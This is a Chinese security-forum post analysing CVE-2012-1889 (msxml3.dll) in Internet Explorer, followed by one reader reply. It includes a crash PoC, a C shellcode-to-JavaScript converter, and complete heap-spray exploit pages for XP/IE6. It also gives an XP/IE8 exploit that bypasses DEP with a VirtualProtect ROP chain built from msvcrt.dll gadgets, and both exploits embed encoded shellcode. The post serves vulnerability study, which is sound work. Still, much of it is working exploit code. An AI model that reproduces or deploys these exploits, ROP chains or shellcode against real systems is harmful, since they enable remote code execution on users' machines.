首页
社区
课程
招聘
[原创][分享]CVE-2012-1889(暴雷)漏洞分析报告
2020-11-23 18:04 6864

[原创][分享]CVE-2012-1889(暴雷)漏洞分析报告

2020-11-23 18:04
6864


软件名称IE浏览器

软件版本6.0/8.0

漏洞模块msxml3.dll

模块版本2.0.0.0

编译日期2008-04-14

操作系统Windows XP/2003/7

漏洞编号CVE-2012-1889

危害等级:高危

漏洞类型:缓冲区溢出

威胁类型:远程




20201123

小白分析,如有错误,感谢指出~

1.             软件简介

Microsoft XML Core Services (MSXML)是一组服务,可用JScriptVBScriptMicrosoft开发工具编写的应用构建基于XMLWindows-native应用。

2.             漏洞成因

Microsoft XML Core Services 3.04.05.06.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。

2.1 分析现场

使用windbg附加IE浏览器,使用IE浏览器运以下palyload文件,触发漏洞:

<html>

<head>

    <title>CVE 2012-1889 PoC</title>

</head>

<body>

        //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"MSXML3.dll中使用到的ID

    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>

    <script>

        var obj = document.getElementById('poc').object;//获取obj对象,类id"msxml3",对象id"poc"

        var src = unescape("%u0c0c%u0c0c");             //0c0c

        while (src.length < 0x1002) src += src;         //循环拼接路径

        src = "\\\\xxx" + src;                          

        src = src.substr(00x1000 - 10);

        var pic = document.createElement("img");        //创建图片元素pic

        pic.src = src;                                  //图片元素pic的路径赋值,路径是0x990字节的0c0c0c0c,将会溢出栈空间

        pic.nameProp;

        obj.definition(0);                              //定义并初始化一个空的对象

    </script>

</body>

</html>

程序崩溃,断下来了。分析现场:ecx应该是一个对象,此处这个对象的值来自ebp-14h的值,ecx+18h应该是虚函数


3.             XP+IE6利用过程

3.1 利用环境

环境:vmware虚拟机winXP系统,IE浏览器6.0版本

3.2 堆喷射

3.2.1 已知信息

根据2.1中的图片2,我们可以得知以下信息:

eax已经被填充为0c0c0c0c

ecx = 0c0c0c0c地址的内容

call [ecx +24]

④那么如果0c0c0c0c地址的内容设置为0c0c0c0c,那么最终call的内容就是[0c0c0c0c+24]

⑤此时如果把0c0c0c0c+24地址的内容设置为我们的shellcode地址,那就可以完成我们的shellcode调用了。也就是说:[0c0c0c0c+24]=shellcode地址

3.2.2 堆喷射

通过堆喷射的方法,将0c0c0c0c地址的内容填充为0c0c0c0c

堆喷射:底层原理在于javascript中所有的字符串通过堆保存,并且堆空间的增长是从低地址到高地址方向进行的,如果使用堆空间保存字符串数组,并且在该字符串数组中保存字符串,就会导致字符串在堆中从低地址到高地址依次占据内存空间,当该字符串足够长时,就会超出堆空间预先设定的大小,淹没更高地址的堆空间,造成堆溢出。实际应用中,经常通过构造长度为200MB的字符串并保存在堆中,从而淹没0x0C0C0C0C地址处的内存空间(200MB字节经换算等于0x0C80000字节,超过0x0C0C0C0C)

但是我们并不能精准的找到0c0c0c0c这个地址,并将0c0c0c0c+24的位置设置为shellcode,前面只是通过堆喷射的方式设置0c0c0c0c地址的内容为0c0c0c0c。虽然我们不能精准的设置0c0c0c0c+24的地址为shellcode,但是此时0c0c0c0c地址的内容已经被④填充为0c0c0c0c了,如果执行0c0c0c0c+24这个地址,执行的指令是or al,这是无关紧要的指令,如果我们在堆喷射的末尾追加shellcode,那么程序就会执行大量无关紧要的or al指令之后,执行我们的shellcode。所以or al(0c0c)也称为滑板指令,其作用与指令nop相同。(之所以不使用nop作为本次攻击的滑板指令是因为nop指令对应的十六进制数据为0x90,如果将其作为堆喷射的内容,就需要将0x90数据淹没内存地址0x90909090,淹没该地址的需要申请更多的堆空间内存,所以不使用该方案)。

javascript中因为多次申请的堆空间可能是不连续的(与系统使用链表管理堆空间有关),所以喷射形成的数据块之间可能存在其他程序仍未释放的堆空间,如果仅仅喷射滑板指令并在尾部加上payload,可能会导致cpu执行指令时将其他程序在堆空间中的数据当作代码执行,所以需要分块喷射,每个数据块由滑板指令和payload组成,一次申请一个数据块大小的堆空间(单次申请的堆在虚拟内存中一定是连续的),只要命中了一个数据块中的滑板指令,就可以将指令的执行顺序引导到payload中。(如果命中数据块中payload的中间部分,会导致程序执行错误,但是此中情况概率较小,如果发生可以通过修改数据块大小解决)

3.3 利用漏洞

C语言版本shellcode转成JavaScript版本shellcode

#include<stdio.h>

#include<Windows.h>

// 此函数最短可转码2 字节文件

void   C_2_JavaScript(unsigned char *bData, int nSize){

         // 1. 创建文件

         FILE *fpJS = nullptr;

         errno_t errRet = fopen_s(&fpJS, "JavaScript.txt", "w");

         // 2. 循环转码并写入目标文件( 需考虑位数为奇数的情况)

         for (int i = 0; i < nSize; i += 2){          

                   if (i + 2 == nSize + 1) // 注意小尾存储

                            fprintf(fpJS,   "\\u%02X%02X", 0, bData[i]);

                   else

                            fprintf(fpJS,   "\\u%02X%02X", bData[i + 1], bData[i]);

         }

         fclose(fpJS);

         return;

}

unsigned char szshellcode[]   = "\x90\x90\x90\x90\x90\x90\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x2F\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6\x84\xEB\x57\xEC\x41\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x62\x7F\x6E\x73\x07\x4F\x62\x6B\x6B\x68\x27\x6F\x66\x6F\x66\x6F\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x39\x8C\x71\x0B\x39\x8C\x71\x1B\x39\x8C\x31\x39\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07\x07\x8C\xF7\x8A\x4C\xC3\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x6E\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x04\xF5\x8C\x71\x7F\x04\xF5\x8C\x79\x1B\x04\xFD\x8E\x7A\xFB\x8C\x79\x27\x04\xFD\x8E\x7A\xFF\x8C\x79\x23\x04\xFD\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52\x0F\x8A\x33\x11\x8C\x5A\x0B\x8A\x7C\xB2\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x11\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xD4\x34\xF8\x50\x50\x56\xF8\x52\x0B\x8A\x4C\xD9\x56\x57\xF8\x52\x17\x8E\x42\xFB\x8A\x4C\xED\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8\x34\xF8\x50\x56\x56\x50\xF8\x52\xFB\x34\xF8\x50\xF8\x52\xFF\x8C\xE2\x5A\xC5\x17\x07\x07\x00";

int main() {

         C_2_JavaScript(szshellcode,   sizeof(szshellcode));

         return 0;

}

得到Unicode版本的shellcode,修改poc

<html>

<head>

<title>CVE 2012-1889 POC Red_Magic_ver.7</title>

</head>

<body>

<!-- object 标签用于创建一个对象,可能是视频,音频等,-->

<!-- 创建对象clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4即为微软XML服务3.0-->

<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

<script>

// 需要执行的shellcode

var cShellCode = unescape("\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u012F\u048A\u340E\u8807\u0E04\uF6E2\u3480\u070E\uE6FF\uEB84\uEC57\u4041\u7362\u7557\u6468\u6346\u7563\u7462\u0774\u684B\u6366\u6E4B\u7565\u7566\u427E\u467F\u5207\u6274\u3475\u2935\u6B63\u076B\u624A\u7474\u6066\u4562\u7F68\u0746\u7F62\u736E\u4F07\u6B62\u686B\u6F27\u6F66\u6F66\uEF07\u0707\u0707\u635C\u328C\u0737\u0707\u8C39\u0B71\u8C39\u1B71\u8C39\u3931\u518C\u540F\uEF55\u0715\u0707\uF78C\u4C8A\u56C3\uF855\u54D7\u5751\uEF55\u076E\u0707\u8C52\u84EB\u0BEB\u8C55\u0F52\u758C\u043B\u8CF5\u7F71\uF504\u798C\u041B\u8EFD\uFB7A\u798C\u0427\u8EFD\uFF7A\u798C\u0423\u8EFD\uF37A\uC734\u06EC\u8C47\uFF72\u338C\u8C81\u0F52\u338A\u8C11\u0B5A\u7C8A\uBEB2\u0709\u0707\uF4FB\u72A1\u8CE4\uF372\uF834\u8C61\u413B\u528C\u8CFB\uBD33\u528C\u8A0F\u1103\u8C5D\u5AE2\u0FC5\u5207\uEB8C\uEB84\u8C0F\u135A\u4C8A\u34D4\u50F8\u5650\u52F8\u8A0B\uD94C\u5756\u52F8\u8E17\uFB42\u4C8A\u56ED\u72F8\uF80F\u1752\u428E\u8AFF\uE84C\uF834\u5650\u5056\u52F8\u34FB\u50F8\u52F8\u8CFF\u5AE2\u17C5\u0707");

// 计算一个数据块(大小1MB)中滑板指令的长度

//除以2是因为length返回的是Unicode字符的个数,一个Unicode的字符个数是2

var nSlideSize = 1024*1024/2// 一个滑板指令区的大小(1MB

var nMlcHadSize = 32/2// 堆头部大小

var nStrLenSize = 4/2// 堆长度信息大小

var nTerminatorSize = 2/2// 堆结尾符号大小

var nScSize = cShellCode.length; // shellcode 大小

var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize; 

//制作一块滑板指令

var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C

while (cFillData.length <= nSlideSize) 

cFillData += cFillData;                 //通过循环拼接,得到一个1MB大小的0c字符串

cFillData = cFillData.substring(0, nFillSize); //截取指定长度的滑板指令,只保留nFillSize个字符个数的滑板指令长度

 

//堆喷射,填充2001M的堆空间,使0x0c0c0c0c地址被淹没,当在该地址处执行代码时,

//大概率先执行滑板指令然后执行shellcode(1M1700万字节,0c1700万字节,而shellcode只有一两百字节)

var cSlideData = new Array(); // 申请堆空间

for (var i = 0; i < 200; ++i) 

cSlideData[i] = cFillData + cShellCode;//将滑板指令与shellcode拼接,得到1MB数据块,将会填充堆空间(javascript中的字符串保存在堆)

}  

//触发CVE 2012-1889漏洞,使eip被修改为0x0c0c0c0c

var obj15PB = document.getElementById('15PB').object 

var srclmgPath = unescape("\u0C0C\u0C0C"); 

while (srclmgPath.length < 0x1000

srclmgPath += srclmgPath; 

srclmgPath = "\\\\15PB" + srclmgPath; 

srclmgPath = srclmgPath.substr(00x1000 - 10); 

var emtPic = document.createElement("img"); 

emtPic.src = srclmgPath; 

emtPic.nameProp; 

obj15PB.definition(0); 

</script>

</body>

</html>

4.             XP+IE8利用过程

4.1 利用环境

WindowsXP IE8+的版本提供了数据执行保护(DEP),因此,只要是可写的区域,都不可执行了。这样一来。漏洞利用就比较困难了

4.2 DEP

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。 另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。 由于DEP的存在,导致之前在堆空间0x0C0C0C0C地址上执行指令的操作无法实现,如果需要实现漏洞利用,需要需要设法绕过DEP机制。

                                             

4.3 绕过DEP

4.3.1 Ret2Libc技术

Ret2LibcReturn-to-libc简写。

DEP 保护下利用失败的根本原因是 DEP 检测到程序转到非可执行页执行指令了。由于 DEP 不允许我们直接到非可执行页(堆空间或者栈空间)执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作。其他可执行的位置:可以在系统的dll中寻找我们需要的指令。总而言之,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit想要的功能了

4.3.2 Ret2Libc流程

4.3.2 利用Ret2Libc绕过DEP

方法①:通过上面的方法调用 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行

方法②:通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行

方法③:通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行

此处运用方法③:

4.4 构造ret2LibcShellcode

通过3.3.2,我们有了绕过DEP的思路,接下来要考虑如何实现它,结合3.3.2以及下图:

我们的目的是要执行Ret2Libc链,那么就要控制 call dword ptr [ecx+18h]这条指令将会执行到Ret2Libc链的第一条指令,如果能实现的话,那么就可以执行VirtualProtect 函数修改属性。但是仅仅执行VirtualProtect 函数还不行,因为此时栈中的数据不是我们构造的,调用VirtualProtect 函数的时候,参数和返回地址都是不可控的。因此,在执行VirtualProtect 函数之前,还需要将栈的数据设置为我们可控的数。那么我们就可以在执行VirtualProtect 函数之前先执行一条指令:XCHG EAX,ESP,执行完之后栈将会被修改成我们的堆空间,因为eax就是被覆盖后得到的0c0c0c0c,而0c0c0c0c地址的内容我们是可以通过堆喷射进行控制的。

我们尝试使用XCHG EAX,ESP指令,将栈改为我们可控的栈:

①将0c0c0c0c+18h地址的内容设置为XCHG EAX,ESP  RET的系统地址

②将0c0c0c0c+18h+4地址的内容设置为VirtualProtect 函数地址

③将0c0c0c0c+18h+4+4地址的内容设置为palyload代码的地址

④将0c0c0c0c+18h+4+4~0c0c0c0c+18h+4+16地址的内容设置为VirtualProtect 函数的参数

但是发现如果按照这样写的话,还是会触发DEP

因此,call [eax+18]这个call目前来说,利用起来比较困难,观察源码,发现下面还有一个callcall [eax+8],而eax的值来自esiesi的值来自[ebp-14h],也就是说间接来自栈,经过精心构造,可以实现绕过DEP:需要把栈的溢出点溢出为0c0c0c08


4.5 精准堆喷射

我们在IE6版本中做的堆喷射只是一股脑的将所有堆空间都覆盖成0c0c0c0c,然后在堆空间末尾追加shellcode,但是现在却要在指定的偏移填充指定的数据,这该如何实现?答案是使用精准堆喷射技术。


4.5.1 精准堆喷原理

精准堆喷射的目的就是将指定内存地址处的值修改为指定内容,底层实现原理如下:Windows使用内存分页机制管理内存,内存操作的最小单位为一个内存分页,一个内存分页4kb0x1000)大小(64位系统中最大的内存分页为1G),则申请的一段堆空间中,这段堆空间首地址一定是0x1000的倍数,如果知道一个内存地址相对于其所在内存分页首地址的偏移,那么就可以构造一个内存分页大小的内存块,并在距离内存块首地址指定偏移的位置设置关键数据,然后以该内存块作为的最小单元进行堆喷,从而保证被内存堆喷射覆盖的指定内存地址处存在关键数据

4.5.2 堆空间结构

为了便于理解,此处使用C语言的堆空间结构来理解精准堆喷射,实际漏洞是使用JavaScript的堆空间结构,但是逻辑是一样的。


       根据上图结构,我们只需要不断的申请堆空间,将堆空间的内容每一页的关键数据地址都填充Ret2Libc链+palycode,这样就将所有可能是0c0c0c0c的地址都填充成我们想要的信息了。我们先验证一下上图的结构信息,验证完再POC中看代码。

        使用上图右边的代码验证左边的结构信息:使用x32dbg调试代码生成的程序,待申请完堆空间后,下断点,查看内存信息

进入0c065000查看堆结构信息

查看0c0c0c0c地址的内容:

查看堆结尾信息:

4.5.3 进行进准堆喷射

现在我们需要精准的将0c0c0c0c地址填充为我们需要ret2Libc内容,

使用公式:(关键数据的内存地址-UserPtr)%0x1000 = 关键数据在内存分页的偏移,因为javascript中字符串是Unicode形式的,所以需要除以2

(0c0c0c0c-0c065020)%0x1000/2= 5f6,在每一个页的0x5f6的位置填充我们想要的数据

再次运行程序,查看0c0c0c0c的内存:

以上就是C语言下的精准堆喷射的方法,JavaScript的堆空间结构与C语言的对空间结构是类似的,只是堆的头部和尾部有些差别,所以JavaScript下只需要类比即可。

4.6 利用漏洞

4.34.4两部分,我们已经有了漏洞利用的思路,下面开始应用于IE8

获取Userptr的值0c0c0c0c地址处的UserPte地址:(Userptr每次获取的值可能都是不一样的,但是使用公式算出来的偏移是不会变的,因为【关键数据的内存地址-UserPtr】的值都是同一个值)

!py mona.py mod 查看当前系统模块信息:随便找一个没有开启ASLR(随机基址)的系统模块(需要在windbg中先安装mona插件)

这里在msvcrt.dll中查找xchg eax,esp ret指令: !py mona find -s "\x94\xc3" -m "msvcrt.dll",在结果中随便找一个拥有可执行属性的即可

按照同理,或:!py mona findwild -s "pop edx # ret" -m msvcrt.dll  pop ebp retpop其他寄存器也可以)指令和ret指令,最终得到:

// 0x0C0C0C0C |   0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step3

// 0x0C0C0C10 |   0x77BF398F : # POP EBP # RETN [msvcrt.dll]       <-ROP Step4

// 0x0C0C0C14 | 0x77C0A891   : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2

// 0x0C0C0C18 |   0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step5

// 0x0C0C0C1C |   0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step6

// 0x0C0C0C20 |   0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step7

// 0x0C0C0C24 | 0x77C17A42 : # RETN   (ROP NOP) [msvcrt.dll]       <-ROP   Step1/Step8

msvcrt.dll中找一个属性稳定可写的地址,作为VitualProtect的参数lpflOldProtec

有了这些数据,只需要将这些数据作为Ret2Libc,然后紧跟着palyload即可完成DEP的绕过了,填充顺序:

5.             PoC

<html>

<head>

    <title>Step4_CVE-2012-1889_v4 By:15PB.Com</title>

</head>

<body>

    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

    <script>

        // 1.  生成Padding

        var cPadding = unescape("\u0C0C\u0C0C");

        while (cPadding.length < 0x1000)

            cPadding += cPadding;//sxe ld:msxml3.dll

        cPadding = cPadding.substring(00x5F6);

        // 2.  制作Ret2Libc

        var cRet2Libc = unescape(

             // 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step3

             // 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll]       <-ROP Step4 

             // 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2

             // 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step5

             // 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step6

             // 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step7

             // 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step1/Step8

             // 

             "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

             "\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN [msvcrt.dll]

             "\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]

             "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

             "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

             "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

             "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry

             //

             // 0x0C0C0C28 | 0x7C801AD4 : # Return to VirtualProtect  <-ROP Step9

             // 0x0C0C0C2C | 0x0C0C0C40 : # Return Addr(Payload Addr) <-ROP Step10

             // 0x0C0C0C30 | 0x0C0C0C40 : # lpAddress      = Payload Addr

             // 0x0C0C0C34 | 0x00001000 : # dwSize         = 0x00001000

             // 0x0C0C0C38 | 0x00000040 : # flNewProtect   = 0x00000040

             // 0x0C0C0C3C | 0x77C31C4C : # lpflOldProtect = 0x77C31C4C

             // 

             "\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect

             "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)

             "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress      = Payload Addr

             "\u1000\u0000" + // 0x00001000 : # dwSize         = 0x00001000

             "\u0040\u0000" + // 0x00000040 : # flNewProtect   = 0x00000040

             "\uEFFC\u77C2" );// 0x77C31C4C : # lpflOldProtect = 0x77C31C4C

        // 3.  准备好Payloadunescape()是解码函数)

        var cPayload = unescape("\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u012F\u048A\u340E\u8807\u0E04\uF6E2\u3480\u070E\uE6FF\uEB84\uEC57\u4041\u7362\u7557\u6468\u6346\u7563\u7462\u0774\u684B\u6366\u6E4B\u7565\u7566\u427E\u467F\u5207\u6274\u3475\u2935\u6B63\u076B\u624A\u7474\u6066\u4562\u7F68\u0746\u7F62\u736E\u4F07\u6B62\u686B\u6F27\u6F66\u6F66\uEF07\u0707\u0707\u635C\u328C\u0737\u0707\u8C39\u0B71\u8C39\u1B71\u8C39\u3931\u518C\u540F\uEF55\u0715\u0707\uF78C\u4C8A\u56C3\uF855\u54D7\u5751\uEF55\u076E\u0707\u8C52\u84EB\u0BEB\u8C55\u0F52\u758C\u043B\u8CF5\u7F71\uF504\u798C\u041B\u8EFD\uFB7A\u798C\u0427\u8EFD\uFF7A\u798C\u0423\u8EFD\uF37A\uC734\u06EC\u8C47\uFF72\u338C\u8C81\u0F52\u338A\u8C11\u0B5A\u7C8A\uBEB2\u0709\u0707\uF4FB\u72A1\u8CE4\uF372\uF834\u8C61\u413B\u528C\u8CFB\uBD33\u528C\u8A0F\u1103\u8C5D\u5AE2\u0FC5\u5207\uEB8C\uEB84\u8C0F\u135A\u4C8A\u34D4\u50F8\u5650\u52F8\u8A0B\uD94C\u5756\u52F8\u8E17\uFB42\u4C8A\u56ED\u72F8\uF80F\u1752\u428E\u8AFF\uE84C\uF834\u5650\u5056\u52F8\u34FB\u50F8\u52F8\u8CFF\u5AE2\u17C5\u0707"); 

        // 4.  准备好FillData

        // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

        var nSlideSize = 0x1000;           // 一个滑板指令块的大小(4KB

        var nPadSize   = cPadding.length;  // Padding大小

        var nR2LSize   = cRet2Libc.length; // Ret2Libc大小

        var nPySize    = cPayload.length;  // Shellcode大小

        var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;

        // 4.2 制作好一块填充数据

        var cFillData  = unescape("\u0C0C\u0C0C");

        while (cFillData.length < nSlideSize)

            cFillData += cFillData;

        cFillData = cFillData.substring(0, nFillSize);

        // 5.  构建滑板指令数据块

        var nBlockSize = 0x40000;  // 256KB

        var cBlock     = cPadding + cRet2Libc + cPayload + cFillData;

        while (cBlock.length < nBlockSize)

            cBlock += cBlock;

        //XP SP3+IE8环境中,一个内存块大小为0x40000,并且有0x02的块启示与0x21的块结尾,故构造数据块时要在头尾预留出这两部分的大小。

        cBlock = cBlock.substring(2, nBlockSize-0x21);

        // 6.  填充200MB的内存区域(申请800256KB大小的滑板数据区),试图覆盖0x0C0C0C0C

        //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据

        //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区

        //     后面的Shellcode处,进而执行Shellcode

        var cSlideData = new Array();

        for (var i = 0; i < 800; i++)

        //IE8对堆喷射做了一定的限制,采用直接字符串赋值进行堆喷的方法会被禁止。所以使用substr 方法进行堆喷射

            cSlideData[i] = cBlock.substr(0, cBlock.length);

        // 7.  触发CVE 2012-1889漏洞

        // 7.1 获取名为15PBXML对象,并将其保存到名为obj15PB实例中

        var obj15PB = document.getElementById('15PB').object;

        // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据

        var srcImgPath = unescape("\u0C0C\u0C08");

        while (srcImgPath.length < 0x1000)

            srcImgPath += srcImgPath;

        srcImgPath = "\\\\15PB_Com" + srcImgPath;

        srcImgPath = srcImgPath.substr(00x1000-10);

        // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

        var emtPic = document.createElement("img");

        emtPic.src = srcImgPath;

        emtPic.nameProp;

        // 7.4 定义对象obj15PB(触发溢出)

        obj15PB.definition(0);

    </script>

</body>

</html>

6.             Win7+IE8版本

微软从Windows Vista开始,加入了一种安全保护技术:ASLR(地址空间布局随机化 Address space layout randomization),有了ASLR之后,几乎所有的模块加载基址都被随机化了,因此我们想通过构造Ret2Libc链来完成DEP的绕过就变得难以实现了,因为基址随机化了,我们无法以固定的地址寻址特定指令序列,也就无法构成Ret2Libc链了。

但是也不是没有办法绕过ASLR

方法①:找到程序进程中没有开启随即基址的模块,比如java的运行环境、FlashPlayer,使用此类模块中的序列构造Ret2Libc链。

方法②:利用操作系统中的固定点,3环中部分函数的地址是不变的,通过分析windows源码,有的函数定义的时候是个宏,说明其地址是固定的,如果知道该地址,可以进行利用。

方法③:Intelcpu使用小端保存数据,高位数据保存在内存高地址,低位数据保存在内存低地址,随机基址只能将内存地址中的基址随机化,无法随机相对虚拟地址rva,通过淹没一个地址的低十六位,即只修改rva,可以绕过随机基址,从而访问到指定内存位置。

此处在Win7中,所有模块都开启了ASLR,能力有限,就没有深究了...

7.             参考资料

任晓辉.15PB信息安全教育.Shllcode编程艺术》   2017-06-15

fdgnneig.《暴雷漏洞(CVE-2012-1889)分析报告》    2019-07-10 

地址:https://www.cnblogs.com/hell--world/p/11531066.html

 《0day安全:软件漏洞分析技术(第2版)》 



[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2020-11-29 12:48 被三一米田编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 19
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dzsy 2020-11-24 09:06
2
0
利用方面写得很详细,就是漏洞成因没有细分。十分感谢分享,受益匪浅
游客
登录 | 注册 方可回帖
返回